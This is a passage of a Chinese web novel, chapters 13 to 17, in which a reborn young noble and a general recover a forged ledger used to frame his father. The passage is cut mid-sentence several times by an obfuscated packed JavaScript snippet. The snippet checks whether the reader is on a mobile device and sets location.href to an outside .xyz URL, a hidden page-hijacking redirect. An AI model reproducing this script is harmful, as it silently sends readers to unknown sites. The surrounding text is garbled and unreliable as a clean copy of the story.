难道被妖怪附身了? 大白天的,不应该啊…… 日头太晒,晒得叶川遥整张脸都发起了烫。 鼻尖若隐若现的香味似有些熟悉,他冷不防地想起,上次的丝帕还被他压在枕头下,竟一直忘了还。 不过想来大将军也不差这一方丝帕,大抵早就忘了。 他仰头望着面前带着几分笑意的眼睛,无措地扯了扯嘴角,轻声道了句:“不,不累。” 沈翾嗯了声,手上的动作却未停。 将士们意味深长地互相对视几眼,憋着笑,震惊又兴奋地看着两人。 心里感叹原来他们铁骨铮铮的大将军,竟也会有如此柔情的一面。 还真是英雄难过美人关。 就说吧,世子果然厉害! 而厉害的“美人”此时还在发呆,头微微后仰着,露出一截纤细净白的脖颈,圆圆的喉结泛着水光,如晶莹剔透的白玉,让人不禁想要伸手一探究竟。 沈翾缓缓移开视线,用丝帕轻轻拭干叶川遥脸上的汗,才收回手。 沉声道了句:“走吧,人找到了。” 13. 第13章 “真的?” 叶川遥闻言双眸一亮,整个人都跟着精神起来,迫不及待道:“那我们快走吧!” 找到孟括是他重生以来一直惦记的事,如今终于有了结果,自是喜不自胜。 他急着去见人,心里便再装不下旁的事,说完便兀自快步向前,走了一段才忽觉有异。 转过身回头,果然见沈翾还立在原地,同明烛交代着什么。 纵使心急如焚,叶川遥也只好再次折回,耐着性子站在一旁乖乖等着。 直到沈翾交代完,回过头看他,叶川遥才伸手轻轻拽了拽沈翾的袖子,低声道:“将军,走吗?” 他问得小心,声音又轻又柔,带着一丝不自觉的讨好,整个人看上去乖巧伶俐。 沈翾看向那双银光熠熠的黑眸,又低头瞥了眼自己袖子上那根根白皙纤长的手指,眼里似有流光划过,转瞬即逝。 见面前的人神情有异,叶川遥自当是自己的举动惹了对方不快,只得赶紧松开手,不好意思地弯了弯眉眼。 沈翾收回视线,这才跨步离开。 叶川遥默默跟在身侧,亦步亦趋。 他本想问一问沈翾,为何会有方才的举动。 是为坐实流言,找一个收留罪臣之子的理由,还是为了让他在府里的日子能好过一些? 可这会儿急着去见孟括,疑惑便转眼被抛在脑后。 边走边问:“将军,人被关在何处?” “地牢里。”沈翾道。 “是在何处找到的?” 沈翾停下脚步,侧过身打量着身旁的人,意味不明地开口道:“丹州。” 果然! “东西呢?可都带回来了?”叶川遥神色紧张,心都悬在了嗓子眼。 拜托沈翾找人时,他特地叮嘱过,一定要将孟括住处的所有物品全都带回来,绝不可有任何疏漏。 沈翾嗯了声,道:“在偏厅。” 叶川遥心中激动不已,等了这么久,他早已心急如焚,恨不得立刻将东西找到。 “那我先过去了!” 说完拔腿便跑,竟不再理会身后之人,转眼间已不见踪影。 沈翾:“……” 孟括所有随行物品都堆在两个大木箱里,连被褥都一并被带了回来。 将军府的人办事果然牢靠。 叶川遥蹲在地上快速翻找一遍,却毫无所获,不禁眸色一凛。 赶紧向沈翾求助。 沈翾叫来府里侍卫,几个人仔仔细细地搜过,还是不见账本的影子。 叶川遥紧抿着唇,心里的担忧愈来愈甚。 上一世,账本明明是从孟括的住处被搜到的,如今却不在。 若账本落在他人手中…… 又或者,那账本原就是旁人所为,孟括不过是个替死鬼…… 他越想越心慌,眉头不自觉地紧蹙着。 瞧他一脸凝重,沈翾并未过问缘由,径直带人前往地牢。 大将军府的地牢建在别院的一处凉亭下,一旁的石阶便是入口。 二人辗转而下,一路阴暗潮湿,冷风阵阵,处处透着阴森之气。 叶川遥伸手拢了拢衣衫,脑袋里不受控制地想起从前听过的那些传闻。 将军府的地牢,只关死人。 一阵寒风袭来,他不禁打了个冷颤,脸色泛白。 沈翾看向他,嘴角罕见地挂上一抹浅笑:“怕了?” “没,没有!”叶川遥梗着脖子道。 心里却在庆幸沈翾此前没有一怒之下把他关进这个鬼地方。 若真进了这儿,就算不被打死,吓也被吓死了。 无论如何,先保命要紧。 叶川遥一路低着头,跟在沈翾身后不多看一眼,生怕一不小心窥探到什么秘辛,就被大将军杀人灭口。 埋首走了一段,终于到了孟括关押之处。 牢中的人被蒙着眼、绑了手脚扔在角落里,瞧着昏昏欲睡。 守卫打开牢门,二人踏入。 孟括闻声清醒几分,警惕地问:“谁?” 叶川遥看向沈翾,低声道:“能让我单独同他说几句话吗?” 沈翾点点头,转身去了外面。 逼仄的牢房里只剩下二人。 叶川遥走到孟括面前,半蹲下身,冷冷地唤了声:“孟大人,别来无恙啊。” “你是谁?”孟括警惕地坐起身,挣脱着手上的绳子,“你们究竟是什么人,为何绑我?” 叶川遥哼了声,道:“你无需知道我是谁,只要知道,如今只有我能救你的性命。” “这是何意?”孟括心生戒备,急切地问,“是谁要害我?” 叶川遥不再兜圈子,坦白道:“孟大人手里,应该有一本模仿卫国公字迹的账本吧?” “什么账本,没见过!”孟括当即否认。 叶川遥笑笑,不紧不慢道:“让我猜猜,你的主子大概允诺你,只要你把账本交给大理寺,便可保令郎此后仕途无忧。我猜得没错吧?” 孟括呼吸一滞,心中疑惑他为何会知道账本的存在,嘴上却含糊道:“孟某听不懂你在说什么。” 叶川遥勾勾嘴角,没同他计较,继续道:“孟大人,你信不信,账本见光那日,便是你的死期。” “你,”孟括闻言终于慌了几分,高声道:“你莫要危言耸听!” 叶川遥站起身,声音里带着几分笃定般的从容,一字一句道:“是不是危言耸听,孟大人心里最清楚不过。你当真觉得,那些人会放过你?” “你知道他们的图谋,只要卫国公被定罪,你这颗棋子,还有留着的必要吗?” 孟括心中害怕,却还强撑着伪装,口中喃喃道:“你休想套我的话,老夫为官多年,岂会上你这无耻小儿的当!” “哼,”叶川遥嗤笑道,“等账本一出,孟大人,你的仕途,你孟家的安稳,还会在吗?” 孟括喘了口粗气,似是冷静了几分,扭头不再开口,一副决绝模样。 叶川遥在他面前轻踱几步,沉默半刻,缓缓道: “当年孟大人家道中落,仕途无望,若非卫国公提携,怕是你这辈子都没有机会再入官场。你孟家也不可能有今日光景。” “如今卫国公却因你蒙难,不知心中会作何感想。” 孟括双唇颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈翾宽大的手掌还揽在他肩头。 叶川遥放慢脚步,走到石凳前才抬头看向身旁的人,张了张口,轻声道:“对不起,我方才……” 沈翾松开手,将新倒的茶推到他面前,淡淡地应了声:“无妨。” 说完嘴角漫出一抹笑意,道:“不过世子倒是让沈某刮目相看。” 原来再柔弱的兔子,急眼了也是会咬人的。 倒颇有几分趣味。 叶川遥端起手边的茶,连着轻饮几口,小巧的耳尖透着微红,有些懊恼:“是我太没用了。” 不仅账本没找到,还连一点有用的消息都没问出来,白白费了一番功夫将人绑回来。 他轻叹一声:“这次是我欠将军一个人情,日后若有机会定当奉还。” “世子无需自责,对方既已布好了局,又岂会轻易露出破绽。” “不过……” 沈翾看着他,眼神里透出一丝审视,循循善诱道:“我很好奇,世子是如何得知,孟括手里藏着那个账本?” “又是如何知晓账本里的内容?” 他微微俯身,眼神深邃地盯着面前的人,声音冷冽:“世子,你究竟是什么人?” 14. 第14章 黑白分明的眸子让叶川遥愰了愰神,莫名有些心虚。 口不择言道:“啊,那个,我……” “将军说什么呢,我能是什么人,我就是我啊呵呵呵呵……” 见沈翾不动地盯着他,叶川遥心里直发慌,想了想,轻声试探着道:“那个,我若说……是我瞎猜的,将军信吗?” 沈翾一副“你看我像傻子吗”的表情看着他,目光凛冽如冬日寒冰,似是要将他整个人看穿。 叶川遥尴尬地低笑两声。 大将军果然不好糊弄。 他转了转眼珠,朝沈翾身前靠近些,正色几分,神秘兮兮道:“将军,这事我可只同你说。” “其实吧……” “我曾机缘之下受仙人点化,可窥探天机,洞察将来。” “哦?”沈翾勾了勾嘴角,眉目间染上几分平日里少有的兴致。 他将脸往前凑了几分,慢条斯理道:“那世子可否替我瞧瞧,沈某的将来如何啊?” 俊朗的容颜倏地贴近,叶川遥不由地呼吸一滞。 说话就说话,有必要靠这么近吗?! 他轻轻动了动喉结,神色认真地在沈翾脸上仔细地打量一圈,故作高深道:“将军福泽深厚,自有上天庇佑,心中所求定会如愿以偿。” “如愿以偿……”沈翾慢慢直起身,意味不明地笑了笑:“那你可知,我心中所求为何?” 叶川遥莞尔:“将军志向高远,岂是我能揣测的。” “不过……” “若将军所愿能有一分有关阿遥,便是阿遥最大的福分了。” 园中静谧花落无声,芝兰玉树之人垂眸静坐,眉眼浅笑盈盈,美得如同画中人。 沈翾盯着对面许久,久到有些微微出神,末了,轻轻弯了弯嘴角。 “那便借世子吉言了。” …… 傍晚时分,凌舟上门求见自家少爷。 守卫前去通传时,叶川遥正在紫云轩用晚饭。 因着惦记孟括的事,叶川遥没什么胃口,随便吃了几口便坐在一旁喝茶打发时间。 听说凌舟来了,他立马精神一震,起身便跑了出去。 守卫站在门口,不确定地问屋里的人:“将军,这……” 沈翾不紧不慢地抿了口茶,沉声道:“把人看紧别丢了,其余的随他们。” “是,将军。” 守卫退下后,明烛不安地问:“凌舟这个时辰过来,不会出什么事了吧?” “不行,我还是去看看吧!” 沈翾冷冷地睨他一眼:“少管闲事。” “……” “哦。”明烛坐回去,仔细想想觉得也对。 他们主仆二人难得见面,定有许多话要说,他还是别跟着掺和了,免得他们不自在。 另一边,叶川遥把凌舟带回云水阁,关上房门,神色凝重道:“可是家里出了什么事?” 凌舟在屋里打量一圈,笑笑道:“没有,少爷你别紧张。” “就是你一个人在将军府,陈叔和小姐不放心,便差我来看看。” “顺便把这封信交给少爷。” 叶川遥垂眸接过,是季岩的字迹。 他匆匆看完,随手将信烧掉。 季岩在信里说,杜明轩昨日夜里去见了郑元。 吏部尚书深夜拜访大理寺卿,怎么想都有些不同寻常。 孟括、杜明轩、郑元,他们究竟有着怎样的联系? 幕后之人又在谋划些什么? 凌舟不懂这其中的弯弯绕绕,他只关心自家少爷过得好不好。 “少爷,将军府的人待你可好,大将军可有欺负你?” 叶川遥收回混沌的思绪,笑着逗他:“我若说不好,你要如何?” “替你家少爷去揍他吗?” “……” “我,”凌舟梗了梗脖子,虚张声势道:“管他是谁,敢欺负少爷,我就跟他拼命!” 叶川遥心里一震,上一世凌舟为救自己惨死的画面在脑中一闪而过。 还好,如今凌舟还好好地站在自己面前,他们还同从前一样。 叶川遥心中感慨,再看眼前之人只觉格外亲切,遂莞尔道: “我一切都好,告诉陈叔和小姐,让他们放心,不必挂念我。” 凌舟点点头:“那便好,原先我还不信,今日见少爷容色依旧,看来坊间的传言都是真的,将军对世子果然不一般!” 叶川遥愣了愣:“什么传言?” 陈叔不会到现在还在散播那些酸掉牙的流言吧? 凌舟绘声绘色道:“如今坊间都说,大将军爱慕少爷已久。以往去咱们府上,都是打着和国公爷对弈的幌子,实则是为了去见少爷你!” “还说大将军是为了少爷才至今未娶,只为等少爷及冠后嫁过去做将军夫人!” “如今京中不知多少姑娘正伤心呢!” “噗!”叶川遥一口老茶喷了出去,险些被呛到。 这又是什么离谱的谣言? 从前沈翾来府里都是直接去见父亲,从未与他碰过面。 何来的爱慕已久! 他叹口气,无奈道:“回去告诉陈叔,不必再散播这些话了。” 先前事出无奈,造造谣也就罢了。 如今他已留在将军府,吃穿用度沈翾都不曾亏待于他,还尽心尽力帮他查案,他实在不好再去诋毁人家的名声。 怪有愧的。 凌舟摇摇头道:“不是陈叔,这些话可是大将军亲口说的!” “你说谁?” “大将军啊!” 叶川遥满眼的不敢置信。 沈翾亲口说的? 什么时候,他怎么不知道? 凌舟解释道:“详细的我也不知,只是大家如今都这样说,听说连陛下都知道了,还夸大将军痴情呢!” “……” 叶川遥如石化一般僵在原地,眼睛都忘了眨。 沈翾他是疯了吗?! 好端端的为何要造自己的谣?还惊动了皇帝! 难道是怕大家觉得他太渣,所以装出一副痴情的模样挽救形象? 不愧是大将军,还真是不肯吃亏呢…… 等等! 叶川遥忽觉脑中有什么东西接连在一起。 怪不得白日在校场,沈翾会做出那般亲近的举动,想来也是故意为之,好让手下的人知道他有多深情! 呵呵,堂堂大将军,倒是挺爱惜自己的羽毛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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二人一坐一立,谁都没有开口,恍惚间竟有几分相得益彰的和谐。 须臾后,沈翾才抬起头,漫不经心道:“好看吗?” 叶川遥诚实地点点头:“好看。” 说完又欲盖弥彰地补了句:“我是说……字好看。” 沈翾无声地勾了勾唇,看着他问:“找我有事?” 叶川遥同面前的人对视一眼,睫毛轻轻眨了眨,支支吾吾道:“也没什么,就是有件事,想问问将军。” 他是个心里藏不住事的人。 纵然重生之后步步为营,不得不戴着伪装示人,但这件事,他还是想问问清楚。 两人如今日日碰面,若是胡乱猜疑,反倒容易生出误会,到时双方都免不了尴尬。 他可还指着沈翾帮他救父亲呢。 “嗯,”沈翾的视线重新落回到纸上,随意道,“问吧。” 叶川遥垂眸盯着面前那张俊朗的面孔,抿了抿唇,屏住气息小心翼翼道:“将军…” “你是不是……喜欢我啊?” 15. 第15章 四下静谧无声,针落可闻,呼吸和心跳也变得尤为清晰。 叶川遥问得直接,让沈翾有些反应不及,握笔的指尖倏地一顿。 他微怔一瞬,转而想起什么,敛了敛目光,淡淡道:“坊间那些无稽之谈,世子还是少听为好。” “哦。”叶川遥低头应了声,眸色轻垂。 果然,沈翾怎么可能说出那样的话…… 不过是谣传罢了。 得到预料之中的答案,叶川遥用力呼出一口气,不再过多纠结,笑着道:“我原本也没信,就是闲着没事随口一问。” “那将军你忙吧,我先回去了,将军忙完早些歇息!” 沈翾意味不明地看他一眼,嗯了声,笔锋重落纸上。 叶川遥慢吞吞地走到门口,脚步一顿,又返回来,站在桌案前弯着眉眼道:“将军,其实吧……” “你若想在外人面前装样子,可以直接同我说的,我一定配合。” “将军应该知道我演得有多好吧!” “……” 既知是演还好意思说出来。 沈翾抬头冷冷看向那双清澈的眸子,沉着嗓音道:“好,下次若有需要,我定直接同世子说。” 不知是不是错觉,叶川遥总觉得他这话里带着些寒意,好似不大高兴。 那声“世子”也喊得极为生硬。 难道是因为那些谣言所以才恼怒的? 他看着沈翾,心里突然泛起苦涩,声音也多了一丝落寞:“将军,以后别叫我世子了,我担不起。你还是叫我阿遥吧。” 方才还一脸俏皮的人这会儿却像霜打的茄子,整个人都蔫了下来,纤白的手指在桌案上划来划去,一副委屈巴巴的模样。 变脸变得可真快。 沈翾深深地看他一眼,应了声:“好。” 见他答应,叶川遥重新咧嘴笑起来:“那我走啦,将军早些歇息,明早见!” 轻快的身影从院子里渐渐消失。 沈翾缓缓收回视线,低头继续处理手上的公务。 夜已深,叶川遥回到云水阁,平躺在松软的床榻上,一个人百无聊赖地盯着房顶,头脑清明,毫无睡意。 一则心里惦记着孟括那头的进展,二则…… 没来由地想起些往事。 两年前,父亲曾为他挑了一门亲事。 沐北王家的小郡主,端庄娴静,才情卓越。 所有人都道他们才子佳人,天造地设。 只有叶川遥拒绝得干脆,连相看一面都不肯。 父亲问他为何不愿,他那时说…… 纵使相思意,不得语,亦唯君不负。 如今想来,当真是少年意气,庸人自扰。 …… 孟括被审了一夜,种种酷刑逐一尝遍,到底还是全招了。 那个账本的确出自他手,不过现下却并不在他手上,而在吏部尚书杜明轩的手里。 除了账本,还有一封“卫国公”写给大将军的亲笔密信。 按信中所写,卫国公所行贪墨之事皆为大将军沈翾指使,为的自是以备日后起事之需。 他们本打算三日后将账本呈交大理寺,到时证据确凿,便可直接定二人的罪。 而这一切的幕后主使,便是郑贵妃的兄长,六皇子季寒的亲舅舅,大理寺卿郑元。 沈翾拿到供词后直接交给叶川遥,竟未有丝毫隐瞒。 叶川遥双手颤抖着将供词看完,一时愤恨难消,手背生生砸破了皮。 天子脚下,堂堂户部、吏部,大理寺,竟互相勾结,企图诬陷朝廷重臣。 如此猖狂,背后主使权势之大可见一斑。 他气得眼尾泛红,像炸了毛的兔子,浑身上下都冒着热气。 反观沈翾却一脸淡定,似乎对他们的阴谋并不意外,甚至没有一丝随时会被杀头的危机感。 叶川遥一时心里五味陈杂。 他虽涉世不深,但并不愚笨。 事到如今,他自然看得懂,此事怕是一开始就是冲着沈翾来的,父亲不过是遭了无妄之灾,成了一枚倒霉的棋子。 心中难免有所怨恨,却也替沈翾不平。 十五岁便出入沙场,这些年更是刀尖舔血,九死一生才守住这四海清平,护得百姓安康。 如此为国为民之栋梁,如今却要遭小人忌惮,遭恶人构陷。 实在令人扼腕叹息。 这些人兵行险招,无非是在赌当今皇帝的心思。 赌不管真相如何,只要有一丝可能和借口,皇帝便宁可错杀,也不会放过。 身为臣子,功高盖主便是最大的罪责。 可父亲与沈翾虽为忘年之交,于政事上却鲜有交集,幕后之人为何偏偏选了父亲作为诱饵? 叶川遥越想越气,抬手将供词狠狠地砸向桌案,呼吸起伏不定。 心中愤恨无处宣泄,便抿唇瞪向对面一脸从容的人。 如果眼神能杀人,这会儿沈翾身上怕是不知已经被戳出多少个窟窿。 到底是久经风波的大将军,沈翾像是没瞧见对面那缕充满怨念的目光,淡定地起身去柜子里拿了金创药,又重新坐回去。 慢条斯理道:“把手给我。” “哼,不劳将军费心。”叶川遥板着脸侧过身,像个赌气的孩子。 下一瞬,手腕便被宽大的手掌牢牢扣住。 他用力挣了挣,禁锢却纹丝未动,手背上的伤口反被牵扯出一丝明显的痛意。 “嘶……”叶川遥眉头一蹙,轻呻出声。 算了,没必要跟自己过不去。 既然大将军亲自上药,他就暂且先忍下这口气。 反正来日方长,何必白白受罪。 见对面吃痛,沈翾放松力道,将纤细的手臂缓缓拉至身前,倒出金创药轻洒在伤口,漫不经心地问:“恨我?” 叶川遥眨眨眼,低下头不看他,红着眼角嘀咕:“怎么,我不能恨吗?” “难不成还要夸你?” 位高权重惹人起杀心也就罢了,还连累无辜之人,害他没了家,他不该恨吗? 叶川遥这话说得有几分负气,便不自觉地流露出一丝本性。 好似又变回从前那个娇纵任性、不肯受一点委屈的矜贵世子。 沈翾轻声淡笑,手上的动作又放轻几分,随即颇为痛快地认下:“嗯,怪我。” 叶川遥抬头微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045080|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔,有些不敢相信。 怎的突然如此温柔,难不成心中有愧? 既如此…… 他顿了顿,桃花眼忽地一眨,试探着问:“那……既然事情皆因将军而起,想必将军定不会坐视不理吧?” “将军下一步打算如何?” 沈翾替叶川遥将伤口包扎好,把药瓶收起,正色几分道:“我已命人盯着杜府,搜查需等入夜再动手。” 叶川遥慢慢收回手,视线在自己的手背上停留片刻,点点头。 此事的确耽搁不得,需尽快找到账本和那封密信。 若迟了,父亲和沈翾都恐有性命之忧。 夜探尚书府,想想还挺刺激。 “那我也……” “不可。”话头刚冒,就被沈翾沉声打断。 “兹事体大,尚书府可不是世子玩闹的地方。” “哦,知道了。”叶川遥不情不愿地应了声。 言罢又眼巴巴地看着沈翾问:“那将军,你要亲自去吗?” 他嘴上虽未明说,但眸子里的殷切太过明显,让人根本无法忽略。 沈翾若有所思地看他一眼,须臾后嗯了声:“我亲自前去,世子可放心了?” 叶川遥闻言嘿嘿地笑起来:“将军亲自前去,那自然是万无一失!” 瞧着那双如夏日银星般的笑眼,沈翾的眼中也随之漫出一抹笑意,声音多出几分柔和:“安心在府里等消息。” 叶川遥笑着点头:“嗯,好,那你们自己多加小心。” 入夜,明烛一身夜行衣出现在将军府偏门。 刚要动身,见苍茫夜色中走出一道熟悉身影。 “将军?”明烛瞪大眼惊诧道,“你怎么来了?” 沈翾淡淡道:“事关重大,自然是怕你办砸了。走吧。” 明烛哦了声,边走边不服气道:“一个尚书府有什么不放心的?上次夜探六皇子府,都没见您担心,这次怎的如此小心了……” 沈翾冷冷地看他一眼,明烛立马闭嘴。 他仔细想想觉得也对,毕竟这次的任务关乎将军性命,是该多加几分小心才是。 两人一前一后潜入杜府,打晕守卫,悄悄摸进书房仔细翻了个遍,终于在一个匣子里找到那本账册和密信。 沈翾与明烛对视一眼,拿上东西便一刻不停,立即打道回府。 一推门,却见面前冲上来几十个手持刀剑的护卫。 这些人出剑时的动作干脆利落,刀刀直逼要害,杀伐果断,须臾间竟将二人层层围住。 杜明轩闻讯匆匆赶来,高声喝道: “大胆贼人,连我尚书府都敢闯。将这两个贼人给我拿下,格杀勿论!” 而此时将军府内,叶川遥正守在偏门旁,眼见着三更过半,却迟迟不见沈翾和明烛的身影。 他望眼欲穿,急地来回踱步,心里愈发不安。 为何去了这么久,是东西没找到?还是出了什么事? 若是被人认出来,沈翾会不会有麻烦? 越想越担心,叶川遥实在等不下去,心下一横,正欲出门,却见墙外翻进来两道熟悉的身影。 叶川遥倏地双眸一亮:“将军!” 16. 第16章 叶川遥抬脚朝着二人跑去,悬着的心却仍未放下。 沈翾摘下脸上黑巾,向前几步迎上去:“让你安心等消息,怎么出来了?” “可有受伤?”叶川遥不答反问,一双明眸在沈翾身上仔仔细细打量几遭,漆黑的眼底布满关切。 本以为他会急着问账本的下落,却不曾想会有此一问。 “没有。”沈翾眸色微动,温声道。 见两人毫发无伤,叶川遥紧绷的神经终于放松下来,这才应道:“见你们许久未归,我实在不放心,便出来看看。” “东西可找到了?” 明烛笑着点头:“找到了。走吧,回去说。” “好!”叶川遥心中欣喜,几步并到明烛身侧,两人有说有笑地朝着书房而去。 “怎么样,此行可还顺利?” “阿遥我跟你说,今夜可是凶险万分,险些就回不来了!没想到一个小小的尚书府居然卧虎藏龙,还好我武艺高超,啪啪几下便突出重围……” “喔,好厉害!”叶川遥双眼一亮,颇为配合地感叹一声。 “……” 得了好友的夸赞,明烛越说越起劲,俨然将今晚的行动说成了一场旷世决战。 沈翾迈着长腿不紧不慢地跟在两人身后,视线缓缓落在某人跳跃摇摆的柔白发带上。 夜色浓郁却藏不住神采飞扬。 三人一同进了书房。 沈翾将账本和密信递给叶川遥:“世子看看,能否分辨出上面的字迹。” 叶川遥打开账本逐页翻看下来,身上不由地浸出一层冷汗。 “这上面的字迹的确与父亲分毫不差,若事先并不知情,只怕连我都分辨不出。” “没想到这个孟括竟有如此本事!” 明烛冷声哼道:“本事用错了地方,便是在找死。” 叶川遥压下心里愤怒,看着沈翾问:“将军,如今证据都已在我们手上,父亲应该不会有事了吧?” 沈翾默默饮了口茶,沉声道:“未必。” “他们既已布下此局,便不会善罢甘休,定会再想别的法子。” 他说完看向面前一脸凝重的人,突然笑了下,漫不经心道:“世子不是有洞察未来之能,不妨看看,他们下一步会做什么?” “啊?”叶川遥张着嘴愣住。 如今事情的发展早已与前世有所不同。 孟括和账本都不可能再有见光的机会,那接下来的事自然也就不会发生。 所以后面的事……他怎么可能知道嘛! 不过前世他并未听说过那封陷害沈翾的密信,不知这一世为何会出现。 叶川遥僵硬地挤出一抹笑,胡言乱语道:“这天机也不是可以随意窥探的,需随缘,随缘……” 沈翾勾了勾唇,不再深究,兀自沉思道:“今日那些护卫功夫深厚,并不似一般的府兵。这位吏部尚书,看来不简单啊。” 明烛点点头:“没错,这些人像是受过专门的训练,出手狠辣,一看就是杀过人的。” “而且我总觉得他们的招式有些熟悉,好像在哪里见过……” 他仔细回想片刻,猛地一拍桌子:“我想起来了,他们的武功路数与六皇子府上的暗卫如出一辙。” “此前我与他们交过手,绝不会看错!” 叶川遥心中一震。 季寒,果然是他! 小小年纪倒是好谋算,一本以假乱真的账本便险些毁了卫国公府和大将军府数年基业,当真是一石二鸟。 没想到上一世的仇还没来得及报,这一世的又来了。 新仇旧恨,今日他通通记下。来日若有机会,他定要将此人碎尸万段! 沈翾沉思片刻,眸色阴沉几分,嗤笑一声道:“看来六皇子这是等不及了。” “欺人太甚!”明烛拍案道,“当我将军府是摆设吗!” 叶川遥将自己所知的朝中局势大概捋了一遍,心中生出几分了然。 季寒这摆明是将沈翾当作未来夺位的竞争对手,想要提前将他解决掉。 其实季寒的担心也不无道理。 三皇子季泽的生母乃当今皇后,也是沈翾的亲姑母。 京中如今三足鼎立,沈翾位高权重,与三皇子季泽又是血亲。 纵然沈老将军走后,沈翾与皇后母子往来甚少,但毕竟有这层关系在,不管沈翾是自己夺位,还是扶持季泽上位,对季寒来说都威胁甚大。 若能除掉沈翾,那季寒将来登位的阻力便会小上许多。 可父亲与季寒无冤无仇,政事上也不曾敌对,季寒又为何要如此陷害? 难道只是为了做饵,好拉沈翾下水? 不管因为什么,季寒此人,他定要除掉。 若被这样的人登上皇位,以后他们谁都没有好日子过了。 叶川遥对朝中局势只是一知半解,此前也并不关心,不过现下倒是多了几分兴趣。 他抬眼看向沈翾,眼底闪过一抹兴致盎然的狡黠,眨眨眼轻声问道: “所以将军,你是真的……有夺位的打算吗?” “咳咳咳……” 说话的人一脸淡定,明烛却险些吓破胆,赶紧四下环望一圈,声音都有些发颤。 “世子慎言!这话岂是能乱说的……” “这还好是在咱们自己府里,若是被旁人听了去……” “哎呀我知道,”叶川遥眯着眼笑笑,不以为意,“我也就是随口一问,在外面我自然不会乱说!” “我又不傻。” “……” 明烛张了张嘴,一时竟无法反驳,转而一想反正只有他们三个听见,确实倒也无妨。 话既已说出口,断没有收回的道理,叶川遥干脆眼巴巴地看着沈翾,满眼好奇地等着他的回答。 沈翾眸色微凛,视线从手中的账册上移开,抬眼不紧不慢地看向对面的人,没有开口。 沉沉目光晦暗不明,叶川遥不禁心底一颤,恍惚间生出一股寒意。 干…干嘛这么看他,怪吓人的。 他不由地向后挪了挪身子,嘴角轻轻牵起,嬉皮笑脸道:“是阿遥逾矩了,将军不想说便算了。” 该认怂时就认怂,这个道理他还是懂的。 这段时日他故作乖巧,沈翾对他也假以辞色,差点让他忘了沈翾原本是个怎样的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045081|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此要命的问题,他怕真不是在找死…… 后知后觉的恐惧袭来,叶川遥蹭地站起身,在沈翾还未出声前拔腿就跑,只留下一句:“天色已晚我先去睡了你们也早点歇息!” “……” 明烛望了望消失的身影,又看向自家主子,憨笑两声:“世子当真是天真可爱,讨人喜欢。” “将军你说是不是?” 沈翾朝他飞去一记冷目,不置可否。 “不过将军,”明烛思忖道,“如今证物已经销毁,大理寺那边既没有新的证据,是不是可以结案了?” 沈翾想了想,道:“明日早朝,我会亲自向陛下进谏,让陛下责令大理寺尽快结案。” “可这样会不会太过招摇?” 明烛有些担忧:“国公爷的事虽并未牵扯到将军,但咱们素来与卫国公交好,陛下想来已对您起了疑。” “若将军此时站出来维护国公爷,岂不是更加招人口舌?” 沈翾弯了弯唇角,眼底染上一层笑意。 声音不急不躁,反倒添了几分兴味:“本将不忍.心上人夜夜垂泪,为未来岳丈仗义执言,有何不可?” “啊?”明烛张大嘴呆住。 未来岳丈? 您认真的?! 沈翾今日心情不错,耐心也格外多,慢条斯理地解释起来。 “查案本是大理寺职责所在,抄家那日皇帝却要我一同前去,无非是想给旁人一个警醒。” “好让他们觉得,我沈翾是个背信弃义之人,与我为谋,终会被舍弃。” 他沉声一笑,眼底闪过一抹阴翳:“可我偏不让他如愿。” “他既已对我有了忌惮之心,无论我怎么证明,都已于事无补。” “既如此,不如光明正大地告诉他,这个人,我要保,他反而一时不能拿我如何。” 明烛恍然大悟地点点头:“将军既然原本就打算救国公爷,为何不早点同世子说?” 沈翾看向说话的人,还未开口,却被对方抢先道:“哦,我知道了!” “将军是想让世子觉得,您是为了他才出手相救,好让世子感激涕零,以身相许!” “……” 沈翾顿感疲惫地眨眨眼,懒得同他浪费口舌,摆摆手道:“天快亮了,快下去歇着吧。” 明烛笑着哦了声,暗自腹诽自己主子定是被他猜中心思,不好意思了。 啧啧,诡计多端。 明明对人家世子有意思,甚至不惜在陛下面前陈情,却还死要面子嘴硬。 “将军不必担心,”明烛站起身,临走前还不忘道:“依属下看,世子应当也很喜欢将军,您只管同世子表明心意,他断不会拒绝……” “你今夜是不打算睡了?”沈翾幽声打断还在滔滔不绝的人,眼中似有几分不耐。 “不想睡就去大门外守着。” “我这就走,这就走!” 明烛偷偷撇嘴。 看看,恼羞成怒了不是! 他讪讪地笑笑,不敢再造次:“属下告退。” 剩下沈翾独自一人捏了捏眉心。 真是一个比一个聒噪。 17. 第17章 翌日早朝,沈翾以证据不足为由向皇帝进谏,勒令大理寺即刻放人。 随后朝上出现两股声音。 “大将军素来与卫国公交好,如今如此袒护卫国公,很难说不是沆瀣一气!” 